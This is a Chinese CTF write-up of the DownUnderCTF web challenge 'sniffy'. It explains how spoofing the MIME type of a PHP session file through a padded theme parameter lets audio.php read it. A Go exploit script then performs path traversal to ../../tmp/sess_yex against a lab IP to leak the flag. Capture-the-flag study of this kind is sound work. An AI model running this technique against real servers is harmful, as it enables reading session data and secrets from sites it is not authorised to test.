DownUnderCTF web sniffy

题目中给了源码

index.php中将flag的值赋给了session['flag']

session['theme']接收GET传入的theme参数。。。??是PHP中的空合并运算符它的作用是检查左侧的值是否存在且不为null。如果存在,则返回左侧的值;如果不存在,则返回右侧的值。

如果theme以GET的方式传入了值。则$_SESSION['theme']将使用传入的值

audio.php中存在文件读取。但是会判断文件的mine类型是否为audio

mime_content_type函数以magic.mime文件中的信息来确定mime

我们传入的theme值将会在/tmp/sess_xxx文件的中间出现。我们可传入便宜量较大的字符串来更改文件的mime

例如:M.K.M!K!FLT4FLT8这些便宜量较大的值(1080)

同时不知道flag占据了多少了个字节。可以进行4个循环在每个循环中添加一个字符来进行破解

这里是我用exp

Golang 复制代码
package main

import (
	"fmt"
	"io"
	"io/ioutil"
	"net/http"
	"net/url"
	"strings"
)

func main() {
	target := "http://192.168.22.129:1880"
	target2 := "http://192.168.22.129:1880/audio.php"
	//target := "https://httpbin.org/get"
	Client := http.Client{}

	for i := 0; i < 4; i++ {
		req1, err := http.NewRequest("GET", target, nil)
		if err != nil {
			fmt.Println(err)
		}
		param := make(url.Values)
		param.Add("theme", strings.Repeat("s", i)+strings.Repeat("4CHN", 270))
		req1.URL.RawQuery = param.Encode()
		req1.Header.Add("Cookie", "PHPSESSID=yex")
		do, err := Client.Do(req1)
		if err != nil {
			fmt.Println(err)
		}
		defer do.Body.Close()
		_, err = ioutil.ReadAll(do.Body)

		req2, err := http.NewRequest("GET", target2, nil)
		param2 := make(url.Values)
		param2.Add("f", "../../../../../../../tmp/sess_yex")
		req2.URL.RawQuery = param2.Encode()
		do2, _ := Client.Do(req2)
		defer do2.Body.Close()
		data2, _ := io.ReadAll(do2.Body)

		if do2.StatusCode != 403 {

			fmt.Println(string(data2))
		}
	}

}
相关推荐
Yeats_Liao10 小时前
Go Web 编程快速入门 05 - 表单处理:urlencoded 与 multipart
前端·golang·iphone
Tony Bai10 小时前
【Go 网络编程全解】12 本地高速公路:Unix 域套接字与网络设备信息
开发语言·网络·后端·golang·unix
Yeats_Liao12 小时前
Go Web 编程快速入门 06 - 响应 ResponseWriter:状态码与头部
开发语言·后端·golang
mit6.82412 小时前
[Agent可视化] 编排工作流(Go) | Temporal引擎 | DAG调度器 | ReAct模式实现
开发语言·后端·golang
猪哥-嵌入式13 小时前
Go语言实战教学:从一个混合定时任务调度器(Crontab)深入理解Go的并发、接口与工程哲学
开发语言·后端·golang
简单点了1 天前
go前后端项目的启动 、打包和部署
开发语言·后端·golang
九江Mgx1 天前
用 Go 手搓一个 NTP 服务:从“时间混乱“到“精准同步“的奇幻之旅
golang·ntp
脚踏实地的大梦想家2 天前
【Go】P11 掌握 Go 语言函数(二):进阶玩转高阶函数、闭包与 Defer/Panic/Recover
开发语言·后端·golang
CoLiuRs2 天前
在 go-zero 中优雅使用 Google Wire 实现依赖注入
后端·微服务·golang
千码君20162 天前
Go语言:对其语法的一些见解
开发语言·后端·golang